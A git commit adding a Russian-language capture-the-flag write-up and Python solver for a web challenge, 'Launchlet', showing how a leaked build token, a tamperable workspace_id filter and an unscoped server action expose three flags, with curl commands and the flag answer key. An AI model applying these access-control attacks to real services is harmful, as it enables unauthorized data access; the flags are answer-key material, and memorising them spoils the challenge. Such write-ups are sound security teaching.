Init. Commit
This commit is contained in:
@@ -0,0 +1,76 @@
|
||||
<h1 align="center">Launchlet</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
|
||||
<img src="https://img.shields.io/badge/difficulty-medium-orange" alt="medium"/>
|
||||
</p>
|
||||
|
||||
Launchlet — конструктор приложений с preview, панелью деплоя и API данных. На старте есть URL сервиса. В клиентских манифестах находятся токены, идентификаторы и описания трёх серверных операций с неполной проверкой прав.
|
||||
|
||||
## Решение
|
||||
|
||||
Открываем DevTools и смотрим, что загружает интерфейс:
|
||||
|
||||
| Ресурс | Что узнаём |
|
||||
|---|---|
|
||||
| `/api/app/bootstrap` | Параметры preview и API данных |
|
||||
| `/assets/build-manifest.json` | Токен получения build receipt |
|
||||
| `/assets/mock-supabase-client.js` | Ключ API и гостевую сессию |
|
||||
| `/assets/server-reference-manifest.json` | Идентификатор серверного действия |
|
||||
|
||||
### Токен receipt
|
||||
|
||||
В `build-manifest.json` находим проект `launchlet-demo-board`, `previewReceipt = lrec_preview_demo_2026` и адрес `/api/receipts/redeem`. Пробуем предъявить найденный токен:
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:31380/api/receipts/redeem \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"receipt":"lrec_preview_demo_2026","project":"launchlet-demo-board"}'
|
||||
```
|
||||
|
||||
Сервер принимает его как право прочитать receipt и возвращает первый флаг. Build pipeline оставил в публичном артефакте повторно используемый токен доступа.
|
||||
|
||||
### Доступ к workspace
|
||||
|
||||
Из bootstrap или клиентского JS берём `anonKey = ll_anon_mock_publishable` и сессию `preview_guest_session`. Интерфейс читает `workspace_notes` с фильтром `workspace_id=eq.ws-launchlet-public`.
|
||||
|
||||
Проверяем, ограничивает ли сессия доступ к строкам. В имени workspace заменяем `public` на `internal`, сохраняя гостевой ключ и сессию:
|
||||
|
||||
```bash
|
||||
curl -sS 'http://<host>:31380/api/db/rest/v1/workspace_notes?select=workspace_id,title,body&workspace_id=eq.ws-launchlet-internal' \
|
||||
-H 'apikey: ll_anon_mock_publishable' \
|
||||
-H 'Authorization: Bearer preview_guest_session'
|
||||
```
|
||||
|
||||
Получаем внутреннюю заметку со вторым флагом. API проверяет ключ и наличие preview-сессии, но выбирает доступные строки по переданному query-параметру. Workspace сессии с ним не сверяется.
|
||||
|
||||
### Область серверного действия
|
||||
|
||||
В `server-reference-manifest.json` открываем запись `serverActions.inspectDeploy`. Из неё берём идентификатор `act_6f4b9a2c1d0e8a71` и endpoint `/api/actions/invoke`. Манифест также описывает `intendedScope` — область действия. Проверяем, привязывает ли сервер переданные аргументы к этой области.
|
||||
|
||||
Для вызова нужны оба идентификатора, `workspaceId` и `projectId`. Проверяем пару `ws-launchlet-internal` и `proj-enterprise-rollout`, сохраняя публичный проект в заголовке `X-Launchlet-Preview`.
|
||||
|
||||
```bash
|
||||
curl -sS http://<host>:31380/api/actions/invoke \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Launchlet-Preview: launchlet-demo-board' \
|
||||
--data '{
|
||||
"actionId":"act_6f4b9a2c1d0e8a71",
|
||||
"args":{
|
||||
"workspaceId":"ws-launchlet-internal",
|
||||
"projectId":"proj-enterprise-rollout"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Dispatcher принимает чужие workspace и project с гостевым preview-контекстом и возвращает третий флаг. Проверка идентификатора действия есть, а привязки аргументов к разрешённой области нет. В этой ветке, как и при чтении заметок, параметры клиента позволяют выбрать чужие данные.
|
||||
|
||||
[Солвер](solve/solve.py).
|
||||
|
||||
## Все этапы
|
||||
|
||||
| Этап | Флаг |
|
||||
|---|---|
|
||||
| 1 | `caplag{preview_manifest_kept_the_receipt}` |
|
||||
| 2 | `caplag{anon_key_needs_real_rls}` |
|
||||
| 3 | `caplag{server_actions_need_scope_checks}` |
|
||||
@@ -0,0 +1,90 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
from urllib import parse, request
|
||||
|
||||
|
||||
def get_json(base: str, path: str, headers: dict[str, str] | None = None):
|
||||
req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})})
|
||||
with request.urlopen(req, timeout=5) as resp:
|
||||
return json.loads(resp.read().decode())
|
||||
|
||||
|
||||
def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None):
|
||||
body = json.dumps(payload).encode()
|
||||
req = request.Request(
|
||||
base + path,
|
||||
data=body,
|
||||
method="POST",
|
||||
headers={
|
||||
"Accept": "application/json",
|
||||
"Content-Type": "application/json",
|
||||
**(headers or {}),
|
||||
},
|
||||
)
|
||||
with request.urlopen(req, timeout=5) as resp:
|
||||
return json.loads(resp.read().decode())
|
||||
|
||||
|
||||
def solve(base: str) -> list[str]:
|
||||
base = base.rstrip("/")
|
||||
|
||||
bootstrap = get_json(base, "/api/app/bootstrap")
|
||||
build_manifest = get_json(base, bootstrap["api"]["buildManifest"])
|
||||
stage1 = post_json(
|
||||
base,
|
||||
build_manifest["receiptRedeemEndpoint"],
|
||||
{
|
||||
"receipt": build_manifest["previewReceipt"],
|
||||
"project": build_manifest["project"],
|
||||
},
|
||||
)["flag"]
|
||||
|
||||
internal_query = parse.urlencode(
|
||||
{
|
||||
"select": "workspace_id,title,body",
|
||||
"workspace_id": "eq.ws-launchlet-internal",
|
||||
}
|
||||
)
|
||||
notes = get_json(
|
||||
base,
|
||||
f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}",
|
||||
headers={
|
||||
"apikey": bootstrap["client"]["anonKey"],
|
||||
"Authorization": f"Bearer {bootstrap['client']['session']}",
|
||||
},
|
||||
)
|
||||
stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body)
|
||||
stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1]
|
||||
|
||||
refs = get_json(base, bootstrap["api"]["serverReferences"])
|
||||
action = refs["serverActions"]["inspectDeploy"]
|
||||
stage3 = post_json(
|
||||
base,
|
||||
action["endpoint"],
|
||||
{
|
||||
"actionId": action["id"],
|
||||
"args": {
|
||||
"workspaceId": "ws-launchlet-internal",
|
||||
"projectId": "proj-enterprise-rollout",
|
||||
},
|
||||
},
|
||||
headers={"X-Launchlet-Preview": build_manifest["project"]},
|
||||
)["flag"]
|
||||
|
||||
return [stage1, stage2, stage3]
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.")
|
||||
parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380")
|
||||
args = parser.parse_args()
|
||||
|
||||
for flag in solve(args.url):
|
||||
print(flag)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user